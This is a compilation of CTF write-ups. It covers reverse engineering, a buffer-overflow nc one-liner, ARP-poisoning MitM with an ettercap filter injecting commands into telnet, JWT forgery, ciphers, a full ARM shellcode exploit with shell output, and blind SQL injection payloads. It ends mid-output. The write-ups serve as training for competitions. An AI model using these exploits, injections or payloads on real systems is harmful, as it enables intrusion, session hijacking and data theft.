var_30 = arg1; signal(0x2, 0x4007f1); *target = *var_30; if (arg0 != 0x2) { rax = 0x2; } else { var_8 = *(var_30 + 0x8); var_20 = sign_extend_64(*(int8_t *)var_8 & 0xff) + 0x1; var_1C = sign_extend_64(*(int8_t *)(var_8 + 0x1) & 0xff) + 0x2; var_18 = sign_extend_64(*(int8_t *)(var_8 + 0x2) & 0xff) + 0x3; var_14 = sign_extend_64(*(int8_t *)(var_8 + 0x3) & 0xff) + 0x4; var_10 = sign_extend_64(*(int8_t *)(var_8 + 0x4) & 0xff) + 0x5; if (((var_14 == 0x6f) && (var_18 == var_14 + 0xe)) && (var_20 == var_10 - 0xa)) { if (var_1C == 0x35) { if (var_10 == var_14 + 0x3) { printf("Now here is your flag: "); print_5(&var_20); rax = 0x1; } else { puts("successfully deleted!"); rax = 0x2; } } else { puts("successfully deleted!"); rax = 0x2; } } else { puts("successfully deleted!"); rax = 0x2; } } return rax;}```
It's important to understand that this is no clean C code. GCC would throws thousands of errors while trying to parse that. But it's still way more understandable than the asm code, and that was the goal. So I'm not goig to try to make it compilable, I'll just try to understand how it works.Also, at this point, it my be worth looking into the other write-up for this challenge I mentioned in the beginning. As it happens, the author, [KosBeg](https://github.com/KosBeg), owns a IDA license. You can see how he didn't have too much work to do to cleanup his [decompiled C code](https://github.com/KosBeg/ctf-writeups/tree/master/EasyCTF_IV/ez_rev). Well, mine is not as nice, but still workable, and I didn't watch his stuff yet because I really wanted to do it myself. So lets start the cleanup !
``` cint PrintFlag(int* flagAddress) { return printf("%d%d%d%d%d\n", *flagAddress, *(flagAddress + 0x4), *(flagAddress + 0x8), *(flagAddress + 0xc), *(flagAddress + 0x10)); // here we can see the order of the characters. // The PrintFlag() function is called with the address (Stack Pointer - 32) line 51. So (Stack Pointer - 32) must be the first character // Then, it looks 4 bytes ahead for the second character, so (Stack Pointer - 32 + 4 = Stack Pointer - 28) must be the second character // And so on...}
// This function is responsible for the behavior of the program when pressing CTRL+Cint SIGINTHandler(int argc) { signal(0x2, 0x4007f1); puts("\n You thought you could avoid it huh?"); fflush(*stdout@@GLIBC_2.2.5); /* rax = *target; remove(rax); */ // Once again, this target memory is a mystery for me. return rax;}
int main(int argc, char** argv) {
// Variables declared in memory. I did choose sensible names, thanks to the PrintFlag function() userInput: // Address = Stack Pointer -8 char5: // Address = Stack Pointer -16 char4: // Address = Stack Pointer -20 char3: // Address = Stack Pointer -24 char2: // Address = Stack Pointer -28 char1: // Address = Stack Pointer -32 var_24: // Address = Stack Pointer -36 inputAddress:// Address = Stack Pointer -48
int returnValue; inputAddress = argv;
signal(2, *SIGINTHandler()); // signal needs a pointer to the function that is supposed to handle the signal, in our case SIGINTHandler() // *target = *inputAddress; // No freakin idea what this target memory is for, so just comment out. if (argc != 2) { // No argument? then return 2 returnValue = 2; } else { userInput = *(inputAddress + 0x8); // the user's input is at argv[1] char1 = userInput & 0xff) + 1; // we only keep the last 8 bits of the first letter, and add 1 to it. char2 = (userInput + 0x1) & 0xff) + 2; // same with every other letters char3 = (userInput + 0x2) & 0xff) + 3; char4 = (userInput + 0x3) & 0xff) + 4; char5 = (userInput + 0x4) & 0xff) + 5; if (((char4 == 0x6f) && (char3 == char4 + 0xe)) && (char1 == char5 - 0xa)) { if (char2 == 0x35) { if (char5 == char4 + 0x3) { printf("Now here is your flag: "); PrintFlag(&char1); // We send the address of char1, and it PrintFlag() will find the other characters from there. returnValue = 1; } else { sleep(0x2); remove(*inputAddress); // And that apparently is the line that deletes the binary file... somehow. puts("successfully deleted!"); returnValue = 2; } } else { sleep(0x2); remove(*inputAddress); puts("successfully deleted!"); returnValue = 2; } } else { sleep(0x2); remove(*inputAddress); puts("successfully deleted!"); returnValue = 2; } } return returnValue;}```
Now that's more readable isn't it ? The most interesting part happens just after the else statement. The program filters the argument, the adds 1 to the first character, 2 to the second, 3 to the third, 4 to the fourth, and 5 to the fifth. Then, it verifies some conditions, and if those are satisfied, it print the flag.
One thing to remember is that the characters in the conditions have been altered above. So char4 == 0x6f in fact checks if the fourth character we passed **plus four** equals 0x6f. Following this principle, we can write a list of constraints our argument must follow.
### 5.3 Solving the mystery
And here is what I ended up with :
```(char1 + 1) == (char5 + 5) - 0xa(char2 + 2) == 0x35(char3 + 3) == (char4 + 4) + 0xe(char4 + 4) == 0x6f(char5 + 5) == (char4 + 4) + 0x3```
Well, now that's just some elementary school arithmetics. Just remember what is hexadecimal and what is decimal. Let's solve this step by step.
```char1 == char5 - 4 char1 == 0x6achar2 == 0x33 char2 == 0x33char3 == char4 + 16 <=> char3 == 0x7achar4 == 0x6f - 4 char4 == 0x6bchar5 = char4 - 2 char5 == 0x6d```
Now we just have to use our trusty [ASCII table](https://fr.wikipedia.org/wiki/American_Standard_Code_for_Information_Interchange#/media/File:ASCII-Table-wide.svg) to convert those hexadecimal numbers to characters. And we get the string "g3zkm". Let's try it!

And sure enough, we did it !
## 6. Bonus : solving with z3
I heard about how amazing z3 is, and I at this point, I did read [KosBeg](https://github.com/KosBeg)'s [write-up](https://github.com/KosBeg/ctf-writeups/tree/master/EasyCTF_IV/ez_rev), in which he did use z3 to solve the equation system. So I wanted to try it myself, without just copying his script. Turns out, our scripts are pretty similar, but I'll post mine here anyway :
``` pythonimport z3import string
flag = ""
char1 = z3.Int("char1") # defines int variables in z3char2 = z3.Int("char2")char3 = z3.Int("char3")char4 = z3.Int("char4")char5 = z3.Int("char5")
s = z3.Solver()
s.add(char1 + 1 == char5 + 5 - 0xa) # define the equations in z3s.add(char2 + 2 == 0x35)s.add(char3 + 3 == char4 + 4 + 0xe)s.add(char4 + 4 == 0x6f)s.add(char5 + 5 == char4 + 4 + 0x3)
while s.check() != z3.sat: # we wait for z3 to do its thing if s.check == z3.unsat: print("No solution found") else: for k, v in s.statistics(): print("%s : %s" % (k, v))
flag += chr(s.model()[char1].as_long()) # now we annoyingly have to convert the ints of z3 to charactersflag += chr(s.model()[char2].as_long()) # this took me way too long to find...flag += chr(s.model()[char3].as_long())flag += chr(s.model()[char4].as_long())flag += chr(s.model()[char5].as_long())
print(flag) # nice !```
And sure enough, that works too
## 7. Conclusion
Well, it's been a ride, hasn't it? I'm really proud of myself for solving this by myself, and I don't even regret my mistakes, because they all were great learning experiences. Also, now that the right software is on my computer and I (kinda) now how to use it, similar challenges should be super easy.Anyway, I hope this was an interesting read, and I wish you the best in your future reverse engineering adventures.
I am also open to corrections and modifications. If needed, please contact me !
Have fun!
|
`python -c 'print("A"*243 + "\x4B\x85\x04\x08")' | nc pwn.ctf.tamu.edu 4322`
For a complete explanation visit [our website](https://killyp.com/2018/02/27/ctf-tamuctf-2018-pwn2/) |
# Stick House (network Exploit, 50)
This was the 4th challenge in the network Explot category by [@nategraf](https://github.com/nategraf) and this was my first time working on any challenges like this, I feel it is important to mention that because if I was able to get 5 out of the 6 network exploits I feel like any beginner is fully capable as well.
In order to solve this challenge the user was provided with a vpn configuration and instructions on how to connect, which was super helpful for novices such as myself:

Before I get into the details of how I solved this one I will quickly go over the first two network exploit challenges as they serve as a good foundation for how I got started on this challenge.
## Stop And Listen
The first challenge was Stop and Listen (note the screen shot above). Basically this was just making sure you can follow instructions and connect to the VPN.In order to solve this you will need wireshark and openvpn```bashsudo apt-get install openvpn openvpn```1. Download the [1st challenge OPENVPN config](listen.ovpn)2. Run the following commads to set up the connection```bashsudo openvpn --config segal.ovpnsudo ip link set tap0 upsudo udhcpc -i tap0``` * Make a note of the output of the last command as that will give you leased IP address on the VPN
3. Now that we are connected to the vpn, all we have to do to get the flag is listen to the network traffic, for this we use wireshark. Open wireshark as root, and start listening to traffic on the tap0 interface (should show up as one of the network options) * Once you are listening there will be a lot of UDP traffic, basically an actual conversation is happening, I think on repeat. Anyways after a while (like 30 seconds or a min) you can then go through the udp conversations to find the flag, or if you know what the key format is (gigem{some_string}) you can search in wireshark for packet byes, string "gigem". Or you can do the same thing in bash if you save the [pcap file](baby1.pcapng)```bashstrings baby1.pcapng | grep gigem```And that will output the string: `Simple Bedevere. It's gigem{ekky_ekke_ekke_zoo_boing_patang}`And that is how you solve the first challenge, simple (don't forget to close the vpn connection when you are done).
The second challenge builds off the first

## Stuck In The Middle
Based off the name, [the youtube video](https://www.youtube.com/watch?v=DohRa9lsx0Q), and the help text it is fairly obvious we get to do a [Man in the Middle Attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) (MitM).
Now as I mentioned this was my first time working on this sort of challenge, and I had no idea how to get started on a man in the middle attack, but the help text from the first challenge was a good starting point, it recommended using [Ettercap](http://www.ettercap-project.org/ettercap/), which happens to be a nice util for man in the middle attacks.so I went ahead and installed that:```Sudo apt-get install ettercap-graphical```
And I also downloaded the [openvpn config](middle.ovpn) for this challenge.
I followed the same steps as the first challenge, connecting to the vpn, getting my lease, trying to view traffic in wireshark, but there was no traffic being captured.
Next I figured I would try to see what devices were on the network using NmapIn order to use nmap properly you will need to know your [netmask](https://www.computerhope.com/jargon/n/netmask.htm), which you can get by running `ifconfig` and looking at the tap0 interface, in our case that happens to be 255.255.255.240, you will also need your subnet which you can get from the same command, and in my case it was 172.16.5.0 (take my ip: 172.16.5.145 and replaced the 145 with the 0) which means we can run nmap with this comand```bashnmap 172.16.5.145/28```If you are wondering what that `/28` is check [this](https://www.aelius.com/njh/subnet_sheet.html) out.
That will take about 30 or so seconds to complete....and bring back 0 out of 16 hosts...either that means I did something wrong, or nmap can't find any hosts available on the network. I just assumed I was flawless and figured it was time to look into ettercap
After some googling I had a decent idea of what I wanted to do. A MitM attack using [ARP poisoning](https://www.cybrary.it/0p3n/man-in-the-middle-attack-explained/). This should allow us to intercept the traffic going from computer A to computer B, and vice versa.
Make sure you are still connected to the vpn, and viewing traffic in wireshark (feel free to clear anything that may have shown up and start fresh) and fire up ettercap in the gui mode, because I am pretty basic, possibly with sudo```bashsudo ettercap -G```* Once Ettercap opens click on sniff* Then unified sniffing, select Tap0 (the vpn interface)* Click Hosts and then "scan for hosts" * You should notice some wireshark activity (broadcase ARP stuff)and in this case ettercap will say three hosts added to the host list* Click on Hosts again and this time "Host List" and you will see the live hosts on the network* Now click on each host and add it to target 1 and target 2 * This should allow us to view every packet sent, in every direction between all three hosts * Now click on Mitm at the top of ettercap and click on "ARP Poisoning", click "Sniff remote connections" and hit ok * You should see wireshark start to log a lot of traffic* Just listen for a little bit till you have a nice [capture file](middle.pcapng)* You want to pay attention to the [UDP conversation](middleflag.txt)* In that convo you can see the flag is: gigem{i_gOT_the_FeELIN_SoMEThinG_ainT_rIGHt} ...and don't get it confused with the dozens of false flags
cool, so now we can stop the MitM attack and close the vpn as we are ready for Sticks (or straw or brick, as you solve them all the same way...woops)
## Stick House
so with Stick house we are given the prompt:> The second little piggy was a little more industrious, and decided to secure his>server by making sure it only responded to him.>I guess he never realized that wolves can lie.And another [openvpn config](sticks.ovpn)
So we need to capture some network traffic, lets do the same thing we did with the last challenge, using MitM arp poisoning (as once again we have no visable network traffic)let this run for a while till you get a nice sized [capture file](listen1.pcapng), you will notice this capture has telnet and tcp traffic as opposed to UDP traffic.
once you have collected everything you need you can follow a tcp stream and see a file like this:
```..... ..#..'..... ..#..'..............!.................!......Ubuntu 16.04.3 LTS4d437449cdb8 login: ...piggyPassword: I8elieve1CanFly
Last login: Mon Feb 26 22:53:38 UTC 2018 on pts/1Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-1052-aws x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantagepiggy@4d437449cdb8:~$ ls -la ls -la total 52drwxr-xr-x 1 piggy piggy 4096 Feb 22 00:14 .drwxr-xr-x 1 root root 4096 Feb 16 20:57 ..-rw------- 1 piggy piggy 19784 Feb 26 22:54 .bash_history-rw-r--r-- 1 piggy piggy 220 Aug 31 2015 .bash_logout-rw-r--r-- 1 piggy piggy 3771 Aug 31 2015 .bashrcdrwx------ 2 piggy piggy 4096 Feb 22 00:10 .cache-rw-r--r-- 1 root root 51 Feb 16 20:57 .ctf_flag-rw-r--r-- 1 piggy piggy 655 May 16 2017 .profiledrwxr-xr-x 6 root root 4096 Feb 16 20:57 mini-ipam-driverpiggy@4d437449cdb8:~$ cd mini-ipam-drivercd mini-ipam-driverpiggy@4d437449cdb8:~/mini-ipam-driver$ ls -la ls -la total 44drwxr-xr-x 6 root root 4096 Feb 16 20:57 .drwxr-xr-x 1 piggy piggy 4096 Feb 22 00:14 ..drwxr-xr-x 8 root root 4096 Feb 16 20:57 .git-rw-r--r-- 1 root root 218 Feb 16 20:57 .gitignore-rw-r--r-- 1 root root 1058 Feb 16 20:57 LICENSE-rw-r--r-- 1 root root 4602 Feb 16 20:57 README.mddrwxr-xr-x 2 root root 4096 Feb 16 20:57 allocator-rwxr-xr-x 1 root root 342 Feb 16 20:57 build.shdrwxr-xr-x 2 root root 4096 Feb 16 20:57 bytopdrwxr-xr-x 2 root root 4096 Feb 16 20:57 driverpiggy@4d437449cdb8:~/mini-ipam-driver$ cd ..cd ..piggy@4d437449cdb8:~$ ls -la ls -la total 52drwxr-xr-x 1 piggy piggy 4096 Feb 22 00:14 .drwxr-xr-x 1 root root 4096 Feb 16 20:57 ..-rw------- 1 piggy piggy 19784 Feb 26 22:54 .bash_history-rw-r--r-- 1 piggy piggy 220 Aug 31 2015 .bash_logout-rw-r--r-- 1 piggy piggy 3771 Aug 31 2015 .bashrcdrwx------ 2 piggy piggy 4096 Feb 22 00:10 .cache-rw-r--r-- 1 root root 51 Feb 16 20:57 .ctf_flag-rw-r--r-- 1 piggy piggy 655 May 16 2017 .profiledrwxr-xr-x 6 root root 4096 Feb 16 20:57 mini-ipam-driverpiggy@4d437449cdb8:~$ cd mini-ipam-drivercd mini-ipam-driverpiggy@4d437449cdb8:~/mini-ipam-driver$ ls -la ls -la total 44drwxr-xr-x 6 root root 4096 Feb 16 20:57 .drwxr-xr-x 1 piggy piggy 4096 Feb 22 00:14 ..drwxr-xr-x 8 root root 4096 Feb 16 20:57 .git-rw-r--r-- 1 root root 218 Feb 16 20:57 .gitignore-rw-r--r-- 1 root root 1058 Feb 16 20:57 LICENSE-rw-r--r-- 1 root root 4602 Feb 16 20:57 README.mddrwxr-xr-x 2 root root 4096 Feb 16 20:57 allocator-rwxr-xr-x 1 root root 342 Feb 16 20:57 build.sh.........```
If you are anything like me (i.e incredibly dumb) you will see>4d437449cdb8 login: ...piggy
>Password: I8elieve1CanFly
and spend the next four hours trying to find someway to extract a FQDN and ssh into a box...yeah thats not what we want to do.
Instead (and this took way to long to figure out) we can use ARP poisening to change the data that is sent.
So how can we do that? We use [filters](http://lmgtfy.com/?q=ettercap+filters) in ettercap.
There are some decent [examples](https://www.safaribooksonline.com/library/view/security-power-tools/9780596009632/ch04s05.html) out there. Using that link as a referance and trial and error I eneded up first making a script that looked similar to this:```c# owned.filter
if (ip.proto == TCP && tcp.src = 34542) { DATA.data = "cat .ctf_flag"; msg("data replaced\n");}```
My attmept being that instead of sending any tcp commands such as that first "ls -la" we would replace it with "cat .ctf_flag".That did not work, turns out the source port was changing between MitM attacks, so I ended up having to do tcp.src != 23 as the destination port was always the same.
But also replacing every packet heading to that destination was causing some issues, and replacing just the "ls -la" commands was also creating issues as my cat command was to long (maybe that was the cause, I didn't look into it to much), so I decided to replace the longest command that was being used in the correct direcotry "cd mini-ipam-driver"
eventually i ended up with this filter```c# owned.filter
if (ip.proto == TCP && tcp.src != 23 && search(DATA.data, "cd mini-ipam-driver")) { DATA.data = "cat .ctf*\n"; msg("data replaced\n");}```
Save that as owned.filter (you know so you can feel like a hacker) and then compile it with this command`etterfilter owned.filter -o owned.ef` , note that is `etterfilter` not `ettercap` to compile, make sure there were no errors (don't forget your semi colons :/ )
Then back in ettercap, if you haven't yet, stop the current Mitm attack. Clear what ever you have in wireshark, and start capturing traffic again.
Start unified sniffing, get your hosts, and add your targets, then click on filters, load filter, and navigate to wherever you have owned.ef (the output file from compiling the filter) and add it. Then start your Man in the middle attack how we have been.
If things have worked correctly after 30 seconds, or a min or so, you will see a message in the ettercap output field "data replaced"
Once you see that go to the [wireshark pcap file](listen2.pcapng), find the tcp stream you want, follow the [conversation](tcpstream2.txt)
and if things are going well for you you should see something similar to this:```..... ..#..'..... ..#..'..............!.................!......Ubuntu 16.04.3 LTS4d437449cdb8 login: ...piggyPassword: I8elieve1CanFly
Last login: Mon Feb 26 23:00:52 UTC 2018 on pts/0Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-1052-aws x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantagepiggy@4d437449cdb8:~$ ls -la ls -la total 52drwxr-xr-x 1 piggy piggy 4096 Feb 22 00:14 .drwxr-xr-x 1 root root 4096 Feb 16 20:57 ..-rw------- 1 piggy piggy 19779 Feb 26 23:01 .bash_history-rw-r--r-- 1 piggy piggy 220 Aug 31 2015 .bash_logout-rw-r--r-- 1 piggy piggy 3771 Aug 31 2015 .bashrcdrwx------ 2 piggy piggy 4096 Feb 22 00:10 .cache-rw-r--r-- 1 root root 51 Feb 16 20:57 .ctf_flag-rw-r--r-- 1 piggy piggy 655 May 16 2017 .profiledrwxr-xr-x 6 root root 4096 Feb 16 20:57 mini-ipam-driverpiggy@4d437449cdb8:~$ cd mini-ipam-drivercat .ctf*gigem{trust_on_the_internet_is_a_way_to_get_eaten}piggy@4d437449cdb8:~$ am-driver-bash: am-driver: command not foundpiggy@4d437449cdb8:~$ ls -la exit```And there is your flag: gigem{trust_on_the_internet_is_a_way_to_get_eaten}
You can see that the rest of the cd mini-ipam-driver command still exists so i guess that means the command in the filter: DATA.data = "cat .ctf*\n"; doesn't completely overwrite all data that is there, and maybe if it was to long in replacing exisitng dating bad things would happen...maybe idk all the details, but flag aquired.
And as I said I was able to do straw house and brick house the exact same way, I just did a different search in my filter. |
## Web4 (Web, 200pts)
> Bruteforce the JWT secret to become admin> > [http://139.59.69.138:17723](http://139.59.69.138:17723)

The site sets this cookie `auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjpudWxsfQ.pgMKdpUKL8fYGe79FRUR2mBLCsJRGI1DjVDwrRs_9mo`, which obviously is a [JWT](https://jwt.io/introduction/).
The `Setec astronomy` is a reference to the [Sneakers (1992 film)](https://en.wikipedia.org/wiki/Sneakers_(1992_film)) in which `Setec Astronomy` is an anagram of `Too many secrets`.

Using the debugger at [jwt.io](https://jwt.io/#debugger) we confirm that `Too many secrets` is the secret used to create the JWT. Knowing the secret we can edit the payload of the token, so we set the user to `admin`.

Setting the new JWT as the cookie value we are logged in as `admin`.
 |
# Don't hate me
```This Message just might make you crazy. Lets take a stroll through the cipher history time line
New ZIP-------But first will need to open the zip! and I am not giving you the password! you will need to crack it. the only hint you get is its all lowercase letters 18char long
Update------The second Cipher is a keyed cipher.... one of my favorite ciphers.
I will add hints slowly and those will be encrypted too!You will need hints to solve So if you solve this with out hints we know you cheated :)```
1.Solve this question was the turning point for our team. We were 502 points behind first place (hackem - 9875 points) and this question had two hints - one for 10 points and one for 100 points. We took the first hint (-10 points):
```That Zip is password protected Im telling you thatyouwillneverguessme```
With that, we could unzip the file and there was a ciphered code with dancing men.
2.This is from the book from Arthur Conan Doyle - The adventure of the dancing men. You can encode/decode using this tool:
[Dancing Men Cipher](https://www.dcode.fr/dancing-men-cipher)
3.After that, we had a string with a polyalphabetic cipher. We got all members of our team trying to solve with different decoders, but what it worked was a vigenere key using `NeverlanCtf` as key.
[Vigenére Ciphers](http://rumkin.com/tools/cipher/vigenere.php)
4.The next text had a big tip on how to solve the next puzzle.
```xfmplgijpbjqdhrlmnubkcpghfwxuvajkcvhgfzwraeasmgjavjjxkbjcdkedfzlvwqnmyzyafvvrplqfkztmbfmedtdvcsgdbhrajqgomhedokvrpsoescxfmplgijpbjqdhrlmnubkcpghfwxuvajkcvhgfzwraeasmggavjjxkxjcdkedfzlvwqnmyzyafvvrplqfkztmbfmedtdvcsgdbhrajqgomhedokvrpsoesctypemrotorIrotorIIrotorIIIpositiononepositiontwopoisitononeukwtypeb```
In the end, you can see rotor I, etc... We solved using [Cryptii](https://cryptii.com/enigma-machine)
```enigmawasoneofthehardestcodestocrackthankstoalanturingandhisteamwenowhavetoolstolearnityourflagisalanturingmadeamachinedngbdetewfakllekolhrpaxybpkzmtdsbadtcyfekvutnpwzbfprmpjwpagvtcvrkzjsubcovpdxbksavjhskohfnammpvazajfzzvimjnodteshvfgpsetfhjhp->enigma was one of the hardest codes to crack thanks to alan turing and his team we now have tools to learn it your flag is alan turing madea machine dngbdetewfakllekolhrpaxybpkzmtdsbadtcyfekvutnpwzbfprmpjwpagvtcvrkzjsubcovpdxbksavjhskohfnammpvazajfzzvimjnodteshvfgpsetfhjhp```
Flag is `alanturingmadeamachine`
By Diogenes Fernandes |
Oneliner solution. Enjoy! ;)
```curl -s https://ctf.neverlanctf.com/files/bea47a7fea6d85e0320daba36324a155/turtle | base64 -d | xxd -r | tar -xOz 2>/dev/null | strings | grep 58 |xargs echo | tr -d ' ' | perl -lpe '$_=pack "H*",$_' | base64 -d | sed 's/\\x//g' | perl -lpe '$_=pack "H*",$_'
`���/� "yF1 '�$ '�flag{lud!rocks_all_the_way_up!}
``` |
`MGPVHSYSYHDZJZTKSNDSSZGJYJXCVJLVSIENBEDVUDJYTSVRFKEJFISLXBSFTOEELYXFWPRNGJYJXCVJJIUZODYA`
https://www.dcode.fr/jefferson-wheel-cipher
=> `FOURTHREEDOTEIGHTSEVENNINEZEROONESIXCOMMASPACETACONEZEROTHREEDOTFOURFIVENINEZEROZEROFOUR`
=> coordinate of [Mount Rushmore](http://en.wikipedia.org/wiki/Mount_Rushmore) |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/xiomara_2018_re4/](http://www.aperikube.fr/docs/xiomara_2018_re4/)
-----
# TL;DRThe binary is a 64 bits ELF executable. After having disassembled the program with IDA I saw that the code is decrypting itself. Each character of the flag is a key which serves to decrypt the next block of code. Deciphering the code with a debugger can be very tedious. So I wrote a script with r2pipe to decrypt each block of code. |
# Full WriteUp
Full Writeup on our website: [http://www.aperikube.fr/docs/nullcon_2018_osint1/](http://www.aperikube.fr/docs/nullcon_2018_osint1/)
-----
# TL;DR
In this task the author gaves us a ransomware hash. After passing it in virustotal. I saw the DSAdaDSDA.js JS dropper for Nemucod ransomware.
After a little looking on Google, I found the Hybrid Analysis report and found the username n923wUc in the HTTP Traffic. |
Many time pad crib drag attack.
1. XOR m1 with m32. XOR 14 length substrings of (m1 XOR m3) with given 14 length password beginning3. Check to see if result is alpha4. Log all potential seeds (k).
With all potential seeds,
5. XOR repeating rotated k with m3 to get the OTP (K).6. Decrypt m1 and m2 with K.7. Check for string pctf in m1 and m2 |
## === Melong (Pwn: 26 solves / 50 pts) ===
1. ARM binary.2. The length of the personal training changes the length that can be written to the stack.3. Stack address can be leaked from the stack.4. Because the leaked address differs depending on the environment, write the NOP-code(\x00\x00\xa0\xe1)at the head of the shellcode.5. Change the return address after 84 bytes and start the shellcode on the stack.6. The following exploit code takes about 2 minutes as a whole.7. The minipwn.py is downloaded from the following URL. https://github.com/inaz2/minipwn/blob/master/minipwn.py
```from minipwn import *
#s = connect_process("./melong")s = socket.create_connection(('ch41l3ng3s.codegate.kr', 1199))
shellcode = '\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\xc0\x46\x2f\x62\x69\x6e\x2f\x2f\x73\x68'
def Check(): print "Check()" recvuntil(s, "Type the number:") sendline(s, "1") recvuntil(s, "Your height(meters) : ") sendline(s, "1.65") recvuntil(s, "Your weight(kilograms) : ") sendline(s, "100")
def Exercise(): print "Exercise()" recvuntil(s, "Type the number:") sendline(s, "2")
def Register(time): print "Register()", time recvuntil(s, "Type the number:") sendline(s, "3") recvuntil(s, "How long do you want to take personal training?\n") sendline(s, str(time))
def Write(buf): print "Write()", buf recvuntil(s, "Type the number:") sendline(s, "4") sendline(s, buf)
def Out(): print "Out()" recvuntil(s, "Type the number:") sendline(s, "6")
Check()Check()Exercise()Register(32)
print "Wait 32 seconds !!!!!!!!!"Write("1"*32)r = s.recv(10+32+4)print rstack_leak_addr = u32(r[42:46])stack_buf_addr = stack_leak_addr - 0x40print "stack_leak_addr = ", hex(stack_leak_addr)print "stack_buf_addr = ", hex(stack_buf_addr)
Register(88)Register(88)
buf = "\x00\x00\xa0\xe1" * 10 + shellcode + '\x00'buf = buf.ljust(84, '2')buf += p32(stack_buf_addr) print "Wait 88 seconds !!!!!!!!!!!!!!!!!"Write(buf)
Out()
interact(s)```
```hoge@ubuntu:~/Pwn_Melong$ python exploit.pyCheck()Check()Exercise()Register() 32Wait 32 seconds !!!!!!!!!Write() 11111111111111111111111111111111you wrote 11111111111111111111111111111111���stack_leak_addr = 0xf6fffca8stack_buf_addr = 0xf6fffc68Register() 88Register() 88Wait 88 seconds !!!!!!!!!!!!!!!!!Write() ��������������������?p?�/�?�?�R@�hF�iF '?��F/bin//sh2222222h��Out()See you again :)iduid=1000(melong) gid=1000(melong) groups=1000(melong)lsflagcat flagFLAG{D0n7_7h1nk_7ha7_1_Can_3xp1ain_it}``` |
# ▼▼▼Animal attack (200pts)(115/607=18.9%)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Animals have taken over our world and a specific team of animal spies have taken the role of leading the entire army of animals. We humans have formed a group of rebels who have taken it up as a mission to find the main users of the animal spies and find the admin of that group. The admin, with his username and password can launch a powerful attack on the humans. Help the human rebels group get the world back from the animals.
The portal is available at :- http://128.199.224.175:24000/```
---
**【Information gathering】**
'(single quart) Insert 1
↓
```You queried for : 'Sorry, we couldn't find any agent with the given name!```
''(single quart) Insert 2
↓
```You queried for : ''```
'''(single quart) Insert 3
↓
```You queried for : '''Sorry, we couldn't find any agent with the given name!```
''''(single quart) Insert 4
↓
```You queried for : ''''```
SQL injection is possible !!
※In case of SQL error, it seems that error handling is done.
---
**【Identification of DB】**
`'or''=''#`
↓
Since it is a normal response, it is confirmed that it is `MySQL`
---
【Try1: UNION based SQL Injection】
`'UNION SELECT 1#`
↓
`Oooh !! We got a HACKER over here ...`
↓
I inserted only UNION, but UNION seems to be detected by WAF.
---
**【Try2:Blind SQL Injection】**
`0'or'1'='1'#` ⇒ Show all
`0'or'1'='0'#` ⇒ no display
↓
Blind SQL injection is possible !!
---
Insert ● = 1 ~, ▲ = 32 ~ 126 as below and extract data using Binary Search
↓
Encode and transmit the following as `Base64`
`0'or ord(substr((select group_concat(table_name,":",column_name) from information_schema.columns where table_schema=database()),●,1))>▲-- `
↓
```$ python BlindSql.py sspspispiespiesspies:spies:ispies:idspies:id,spies:id,sspies:id,spspies:id,spispies:id,spiespies:id,spiesspies:id,spies:spies:id,spies:nspies:id,spies:naspies:id,spies:namspies:id,spies:namespies:id,spies:name,spies:id,spies:name,sspies:id,spies:name,spspies:id,spies:name,spispies:id,spies:name,spiespies:id,spies:name,spiesspies:id,spies:name,spies:spies:id,spies:name,spies:aspies:id,spies:name,spies:agspies:id,spies:name,spies:agespies:id,spies:name,spies:age,spies:id,spies:name,spies:age,sspies:id,spies:name,spies:age,spspies:id,spies:name,spies:age,spispies:id,spies:name,spies:age,spiespies:id,spies:name,spies:age,spiesspies:id,spies:name,spies:age,spies:spies:id,spies:name,spies:age,spies:espies:id,spies:name,spies:age,spies:exspies:id,spies:name,spies:age,spies:expspies:id,spies:name,spies:age,spies:expespies:id,spies:name,spies:age,spies:experspies:id,spies:name,spies:age,spies:experispies:id,spies:name,spies:age,spies:experiespies:id,spies:name,spies:age,spies:experienspies:id,spies:name,spies:age,spies:experiencspies:id,spies:name,spies:age,spies:experiencespies:id,spies:name,spies:age,spies:experience,spies:id,spies:name,spies:age,spies:experience,sspies:id,spies:name,spies:age,spies:experience,spspies:id,spies:name,spies:age,spies:experience,spispies:id,spies:name,spies:age,spies:experience,spiespies:id,spies:name,spies:age,spies:experience,spiesspies:id,spies:name,spies:age,spies:experience,spies:spies:id,spies:name,spies:age,spies:experience,spies:dspies:id,spies:name,spies:age,spies:experience,spies:despies:id,spies:name,spies:age,spies:experience,spies:desspies:id,spies:name,spies:age,spies:experience,spies:descspies:id,spies:name,spies:age,spies:experience,spies:descrspies:id,spies:name,spies:age,spies:experience,spies:descrispies:id,spies:name,spies:age,spies:experience,spies:descripspies:id,spies:name,spies:age,spies:experience,spies:descriptspies:id,spies:name,spies:age,spies:experience,spies:descriptispies:id,spies:name,spies:age,spies:experience,spies:descriptiospies:id,spies:name,spies:age,spies:experience,spies:descriptionspies:id,spies:name,spies:age,spies:experience,spies:description,spies:id,spies:name,spies:age,spies:experience,spies:description,uspies:id,spies:name,spies:age,spies:experience,spies:description,usspies:id,spies:name,spies:age,spies:experience,spies:description,usespies:id,spies:name,spies:age,spies:experience,spies:description,userspies:id,spies:name,spies:age,spies:experience,spies:description,usersspies:id,spies:name,spies:age,spies:experience,spies:description,users:spies:id,spies:name,spies:age,spies:experience,spies:description,users:ispies:id,spies:name,spies:age,spies:experience,spies:description,users:idspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,uspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,usspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,usespies:id,spies:name,spies:age,spies:experience,spies:description,users:id,userspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,usersspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:uspies:id,spies: